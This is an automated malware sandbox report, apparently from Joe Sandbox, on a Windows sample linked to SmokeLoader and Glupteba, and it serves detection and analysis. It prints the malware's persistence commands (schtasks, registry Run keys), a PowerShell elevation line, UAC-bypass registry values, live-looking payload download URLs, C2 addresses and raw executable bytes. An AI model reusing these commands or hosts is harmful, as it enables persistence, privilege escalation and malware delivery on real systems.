Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\ProgramData\Drivers\csrss.exe" , CommandLine: "C:\ProgramData\Drivers\csrss.exe" , CommandLine|base64offset|contains: , Image: C:\ProgramData\Drivers\csrss.exe, NewProcessName: C:\ProgramData\Drivers\csrss.exe, OriginalFileName: C:\ProgramData\Drivers\csrss.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4856, ProcessCommandLine: "C:\ProgramData\Drivers\csrss.exe" , ProcessId: 3520, ProcessName: csrss.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Drivers\csrss.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\87C6.exe, ProcessId: 2316, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CSRSS

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\jjdjbtc, CommandLine: C:\Users\user\AppData\Roaming\jjdjbtc, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\jjdjbtc, NewProcessName: C:\Users\user\AppData\Roaming\jjdjbtc, OriginalFileName: C:\Users\user\AppData\Roaming\jjdjbtc, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\jjdjbtc, ProcessId: 5228, ProcessName: jjdjbtc

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Process Patterns NTDS.DIT Exfil

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\jjdjbtc, CommandLine: C:\Users\user\AppData\Roaming\jjdjbtc, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\jjdjbtc, NewProcessName: C:\Users\user\AppData\Roaming\jjdjbtc, OriginalFileName: C:\Users\user\AppData\Roaming\jjdjbtc, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\jjdjbtc, ProcessId: 5228, ProcessName: jjdjbtc

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F, CommandLine: schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Temp\Task.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3128, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F, ProcessId: 3804, ProcessName: schtasks.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Drivers\csrss.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\87C6.exe, ProcessId: 2316, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\CSRSS

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs, CommandLine|base64offset|contains: J, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\FourthX.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\FourthX.exe, ParentProcessId: 4192, ParentProcessName: FourthX.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs, ProcessId: 2120, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 3796, ProcessName: svchost.exe

Snort Signatures

ET TROJAN Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 91.215.85.120

Timestamp:	192.168.2.491.215.85.12049735802039103 02/05/24-10:57:19.330324
SID:	2039103
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://claimconcessionrebe.shop/apiq	Avira URL Cloud: Label: malware
Source: https://secretionsuitcasenioise.shop/	Avira URL Cloud: Label: malware
Source: http://5.42.64.33/ping.php?substr=four	Avira URL Cloud: Label: malware
Source: http://real.avalmag.com/data/pdf/may.exe	Avira URL Cloud: Label: malware
Source: http://sjyey.com/tmp/index.php	Avira URL Cloud: Label: malware
Source: http://185.172.128.127/syncUpd.exe	Avira URL Cloud: Label: malware
Source: https://liabilityarrangemenyit.shop/	Avira URL Cloud: Label: malware
Source: https://claimconcessionrebe.shop/api	Avira URL Cloud: Label: phishing
Source: https://secretionsuitcasenioise.shop/apil	Avira URL Cloud: Label: malware
Source: http://185.172.128.19/288c47bbc1871b439df19ff4df68f0776.exe	Avira URL Cloud: Label: malware
Source: http://185.172.128.79/15f649199f40275b/mozglue.dll	Avira URL Cloud: Label: malware
Source: https://secretionsuitcasenioise.shop/apin	Avira URL Cloud: Label: malware
Source: http://emgvod.com/emd/1.jpg	Avira URL Cloud: Label: malware
Source: http://185.172.128.79/15f649199f40275b/msvcp140.dll	Avira URL Cloud: Label: malware
Source: https://liabilityarrangemenyit.shop/apiE	Avira URL Cloud: Label: malware
Source: https://secretionsuitcasenioise.shop/api	Avira URL Cloud: Label: malware
Source: https://liabilityarrangemenyit.shop/api	Avira URL Cloud: Label: malware
Source: http://185.172.128.79/15f649199f40275b/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://gemcreedarticulateod.shop/api	Avira URL Cloud: Label: phishing
Source: http://185.172.128.79/15f649199f40275b/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://185.172.128.79/15f649199f40275b/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.172.128.79/3cd2b41cbde8fc9c.php	Avira URL Cloud: Label: malware
Source: https://liabilityarrangemenyit.shop/api-	Avira URL Cloud: Label: malware
Source: http://185.172.128.79/15f649199f40275b/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://185.172.128.90/cpa/ping.php?substr=four&s=ab	Avira URL Cloud: Label: malware
Source: https://liabilityarrangemenyit.shop/f	Avira URL Cloud: Label: malware
Source: https://liabilityarrangemenyit.shop:443/api	Avira URL Cloud: Label: malware
Source: http://185.172.128.79/15f649199f40275b/nss3.dll	Avira URL Cloud: Label: malware
Source: http://trmpc.com/check/index.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000003.00000002.1942691049.0000000000601000.00000004.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}

Multi AV Scanner detection for domain / URL

Source: trmpc.com	Virustotal: Detection: 14%	Perma Link
Source: selebration17io.io	Virustotal: Detection: 12%	Perma Link
Source: real.avalmag.com	Virustotal: Detection: 17%	Perma Link
Source: emgvod.com	Virustotal: Detection: 19%	Perma Link
Source: liabilityarrangemenyit.shop	Virustotal: Detection: 17%	Perma Link
Source: sjyey.com	Virustotal: Detection: 12%	Perma Link
Source: gemcreedarticulateod.shop	Virustotal: Detection: 18%	Perma Link
Source: secretionsuitcasenioise.shop	Virustotal: Detection: 18%	Perma Link
Source: claimconcessionrebe.shop	Virustotal: Detection: 17%	Perma Link
Source: http://valarioulinity1.net/index.php	Virustotal: Detection: 15%	Perma Link
Source: https://secretionsuitcasenioise.shop/	Virustotal: Detection: 19%	Perma Link
Source: http://5.42.64.33/ping.php?substr=four	Virustotal: Detection: 18%	Perma Link
Source: http://185.172.128.127/syncUpd.exe	Virustotal: Detection: 21%	Perma Link
Source: http://185.172.128.19/288c47bbc1871b439df19ff4df68f0776.exe	Virustotal: Detection: 21%	Perma Link
Source: https://claimconcessionrebe.shop/api	Virustotal: Detection: 15%	Perma Link
Source: http://emgvod.com/emd/1.jpg	Virustotal: Detection: 16%	Perma Link
Source: http://185.172.128.79/15f649199f40275b/msvcp140.dll	Virustotal: Detection: 16%	Perma Link
Source: https://secretionsuitcasenioise.shop/api	Virustotal: Detection: 14%	Perma Link
Source: http://185.172.128.79/15f649199f40275b/mozglue.dll	Virustotal: Detection: 16%	Perma Link
Source: http://sjyey.com/tmp/index.php	Virustotal: Detection: 17%	Perma Link
Source: https://liabilityarrangemenyit.shop/api	Virustotal: Detection: 14%	Perma Link
Source: http://buriatiarutuhuob.net/index.php	Virustotal: Detection: 15%	Perma Link
Source: http://185.172.128.79/15f649199f40275b/softokn3.dll	Virustotal: Detection: 16%	Perma Link
Source: http://185.172.128.79/15f649199f40275b/freebl3.dll	Virustotal: Detection: 16%	Perma Link
Source: http://185.172.128.79/15f649199f40275b/vcruntime140.dll	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\syncUpd[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	ReversingLabs: Detection: 51%
Source: C:\Users\user\AppData\Local\Temp\6C7B.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\742D.dll	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\Temp\7CB9.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Temp\C33B.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\E059.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Temp\FourthX.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\InstallSetup4.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: 5Yzloz244r.exe	ReversingLabs: Detection: 57%
Source: 5Yzloz244r.exe	Virustotal: Detection: 48%			Perma Link

Yara detected Glupteba

Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.288c47bbc1871b439df19ff4df68f076.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2186277276.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2260755475.0000000000843000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2274530955.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Machine Learning detection for dropped file

Source: C:\ProgramData\Drivers\csrss.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 5Yzloz244r.exe

Joe Sandbox ML: detected

Source: 87C6.exe, 0000000F.00000003.3346002580.0000000004032000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

memstr_b6cf3fd4-5

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 10.2.6C7B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.6C7B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY

Privilege Escalation

UAC bypass detected (Fodhelper)

Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Registry value created: DelegateExecute
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Registry value created: NULL "C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"

Bitcoin Miner

Yara detected Glupteba

Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.2db0e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.288c47bbc1871b439df19ff4df68f076.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.2186277276.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2260755475.0000000000843000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2274530955.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Unpacked PE file: 21.2.vbsmartcardviewer.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe	Unpacked PE file: 22.2.vbsmartcardviewer.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe	Unpacked PE file: 29.2.288c47bbc1871b439df19ff4df68f076.exe.400000.7.unpack
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	Unpacked PE file: 39.2.nsdE4F9.tmp.400000.0.unpack

Source: 5Yzloz244r.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\5Yzloz244r.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.94.2:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.171:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.168:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.31:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.20.213.70:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.21.38:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.58.81.140:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.188.40.189:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.251.119.10:443 -> 192.168.2.4:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.160.49.126:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.48.81.160:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 31.164.215.246:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.73.69.128:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.15.93:443 -> 192.168.2.4:50011 version: TLS 1.2

Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: 6C7B.exe, 00000004.00000000.1897918662.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 6C7B.exe, 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 6C7B.exe, 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 6C7B.exe, 0000000A.00000000.1907947226.0000000000410000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: 6C7B.exe, 0000000A.00000002.1946373720.0000000000701000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: 6C7B.exe, 0000000A.00000002.1950769254.0000000002956000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: 6C7B.exe, 0000000A.00000002.1946373720.0000000000701000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: 6C7B.exe, 0000000A.00000002.1950769254.0000000002956000.00000004.00000020.00020000.00000000.sdmp, 6C7B.exe, 0000000A.00000002.1955248581.0000000004A81000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2039103 ET TROJAN Suspected Smokeloader Activity (POST) 192.168.2.4:49735 -> 91.215.85.120:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 187.211.34.223 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 186.147.159.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.215.85.120 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.67.46 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.172.128.19 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 138.36.3.134 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.224.203.37 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.20.213.70 443	Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://valarioulinity1.net/index.php
Source: Malware configuration extractor	URLs: http://buriatiarutuhuob.net/index.php
Source: Malware configuration extractor	URLs: http://cassiosssionunu.me/index.php

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 27282
Source: unknown	Network traffic detected: HTTP traffic on port 27282 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 2023
Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 2023
Source: unknown	Network traffic detected: HTTP traffic on port 2023 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 2023

Source: unknown

Network traffic detected: IP country count 18

Source: global traffic	TCP traffic: 192.168.2.4:49744 -> 185.220.101.144:30144
Source: global traffic	TCP traffic: 192.168.2.4:49820 -> 95.216.154.139:9001
Source: global traffic	TCP traffic: 192.168.2.4:49824 -> 47.56.94.99:9001
Source: global traffic	TCP traffic: 192.168.2.4:49844 -> 142.132.202.219:2023
Source: global traffic	TCP traffic: 192.168.2.4:49860 -> 87.248.7.41:9003
Source: global traffic	TCP traffic: 192.168.2.4:49864 -> 193.160.32.19:9001
Source: global traffic	TCP traffic: 192.168.2.4:49883 -> 185.198.26.149:9001
Source: global traffic	TCP traffic: 192.168.2.4:49917 -> 46.226.104.31:9001
Source: global traffic	TCP traffic: 192.168.2.4:49938 -> 185.32.222.237:8444
Source: global traffic	TCP traffic: 192.168.2.4:49940 -> 159.69.71.228:9001
Source: global traffic	TCP traffic: 192.168.2.4:50019 -> 193.122.131.100:993
Source: global traffic	TCP traffic: 192.168.2.4:50046 -> 92.53.64.209:27282

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 05 Feb 2024 09:57:30 GMTContent-Type: application/octet-streamContent-Length: 7668707Connection: keep-aliveContent-Description: File TransferContent-Disposition: attachment; filename=may.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VOYz4bFmbxlxBkitVb9cXSv2zCcXBCubtL7Qd0He1BSaS87tgDfgZM2OAVVTawQDxTHk8uJxCVDYzF%2FDlBS9MfEMHbmaLZrWxrb3Xq34p%2FrafmKaAZN2HtOHcQdGMr%2BUaVgD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 850a4a205a64ad58-ATLalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@@P,CODEd
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:57:33 GMTContent-Type: application/octet-streamContent-Length: 9104384Last-Modified: Fri, 02 Feb 2024 16:13:27 GMTConnection: keep-aliveETag: "65bd14a7-8aec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a7 14 bd 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 e2 8a 00 00 08 00 00 00 00 00 00 ae 00 8b 00 00 20 00 00 00 20 8b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 8b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 60 00 8b 00 4b 00 00 00 00 20 8b 00 40 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 8b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 e0 8a 00 00 20 00 00 00 e2 8a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 05 00 00 00 20 8b 00 00 06 00 00 00 e4 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 8b 00 00 02 00 00 00 ea 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00 8b 00 00 00 00 00 48 00 00 00 02 00 05 00 90 ea 8a 00 d0 15 00 00 03 00 00 00 01 00 00 06 d8 27 00 00 b8 c2 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 